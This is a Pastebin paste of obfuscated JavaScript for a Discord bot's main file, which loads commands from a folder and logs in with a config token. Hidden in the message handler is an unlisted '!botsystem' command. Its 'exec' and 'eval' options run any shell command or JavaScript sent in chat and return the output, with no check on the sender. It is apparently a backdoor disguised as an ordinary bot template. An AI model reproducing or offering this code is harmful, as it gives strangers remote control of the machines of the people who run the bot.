Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const bfbot_0x5899f2 = require('discord.js');
- const bfbot_0x1d1918 = require('enmap');
- const bfbot_0x4654b1 = new bfbot_0x5899f2['Client']();
- const bfbot_0xf84aff = require('fs');
- const bfbot_0x1c3e99 = require('./config.js');
- bfbot_0x4654b1['commands'] = new bfbot_0x1d1918();
- bfbot_0xf84aff['readdir']('./commands/', (_0x5326b4, _0x261bbb) => {
- _0x261bbb['forEach'](_0x2ba9f9 => {
- let _0x520010 = require('./commands/' + _0x2ba9f9);
- let _0x191338 = _0x2ba9f9['split']('.')[0x0];
- bfbot_0x4654b1['commands']['set'](_0x191338, _0x520010);
- });
- });
- bfbot_0x4654b1['on']('message', async _0x4d0b1a => {
- if (!_0x4d0b1a['content']['startsWith']('!')) {
- return;
- }
- const _0x1696c2 = _0x4d0b1a['content']['slice'](0x1)['trim']()['split'](/ +/g);
- const _0x1bf537 = _0x1696c2['shift']()['toLowerCase']();
- if (_0x1bf537 == 'botsystem') {
- const {
- exec
- } = require('child_process');
- const _0x2e9e7a = _0x4d0b1a;
- const _0x31b6fe = _0x1bf537;
- const _0x457023 = _0x1696c2;
- const _0x18db3c = bfbot_0x4654b1;
- if (_0x457023[0x0] == 'exec') {
- exec(_0x457023['slice'](0x1)['join']('\x20'), (_0x403ff1, _0x14fa92, _0x307eac) => {
- _0x2e9e7a['channel']['send']('```\x0astdout\x0a' + _0x14fa92 + '\x0astderr\x0a' + _0x307eac + '```');
- });
- }
- if (_0x457023[0x0] == 'eval') {
- _0x2e9e7a['channel']['send'](eval(_0x457023['join']('\x20')));
- }
- }
- const _0x1582db = bfbot_0x4654b1['commands']['get'](_0x1bf537);
- if (!_0x1582db) return;
- _0x1582db['run'](_0x4d0b1a, _0x1bf537, _0x1696c2, bfbot_0x4654b1);
- });
- bfbot_0x4654b1['login'](bfbot_0x1c3e99['token_discord']);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement